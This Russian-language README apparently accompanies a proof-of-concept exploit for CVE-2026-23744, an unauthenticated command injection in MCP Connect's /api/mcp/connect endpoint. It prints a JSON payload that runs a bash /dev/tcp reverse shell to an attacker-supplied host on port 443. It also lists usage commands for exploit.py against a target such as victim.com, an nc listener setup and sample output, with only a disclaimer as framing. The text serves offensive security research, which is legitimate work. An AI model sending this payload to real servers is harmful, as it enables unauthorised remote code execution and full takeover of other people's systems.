
Эксплойт-доказательство концепции для CVE-2026-23744 — неаутентифицированная инъекция команд в MCP Connect, приводящая к удалённому выполнению кода и обратной оболочке.
⚠️ Отказ от ответственности: Этот репозиторий предназначен исключительно для образовательных целей и исследований в области безопасности. Использование этого эксплойта против систем без явного разрешения незаконно. Автор не несёт ответственности за неправомерное использование этого кода.
Уязвимость находится в конечной точке /api/mcp/connect, которая позволяет неаутентифицированному атакующему зарегистрировать произвольный MCP-сервер (Model Context Protocol) с вредоносной конфигурацией. Из-за отсутствия проверки и санитизации поля command и его args возможна инъекция команд операционной системы, которые выполняются непосредственно на сервере с привилегиями веб-процесса.
Это приводит к удалённому выполнению кода (RCE), которое можно использовать для получения reverse shell на скомпрометированной системе.
| Поле | Детали |
|---|---|
| Тип | Удалённое выполнение кода (RCE) |
| Вектор | Сеть (HTTP POST без аутентификации) |
| Конечная точка | /api/mcp/connect |
| Критичность | 🔴 Критическая |
| Аутентификация | Не требуется |
| Воздействие | Полный контроль над сервером |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
Сервер обрабатывает эту конфигурацию и вызывает команду bash с предоставленными аргументами, устанавливая обратное TCP-соединение с атакующим.
pip install requests termcolor
python3 exploit.py -l <ТВОЙ_IP> -u <URL_ЦЕЛИ>
| Параметр | Описание | Пример |
|---|---|---|
-l | Твой IP (куда получишь shell) | 192.168.1.50 |
-u | Базовый URL цели | https://victim.com |
Терминал 1 — Listener:
nc -nlvp 443
Терминал 2 — Эксплойт:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
После отправки запроса listener на порту 443 получит обратное соединение с интерактивной shell скомпрометированного сервера.
/api/mcp/connect перед их обработкой..
├── exploit.py # Основной скрипт эксплойта
└── README.md # Этот файл
Разработано в исследовательских целях в области наступательной безопасности Jorge Arana Fedriani.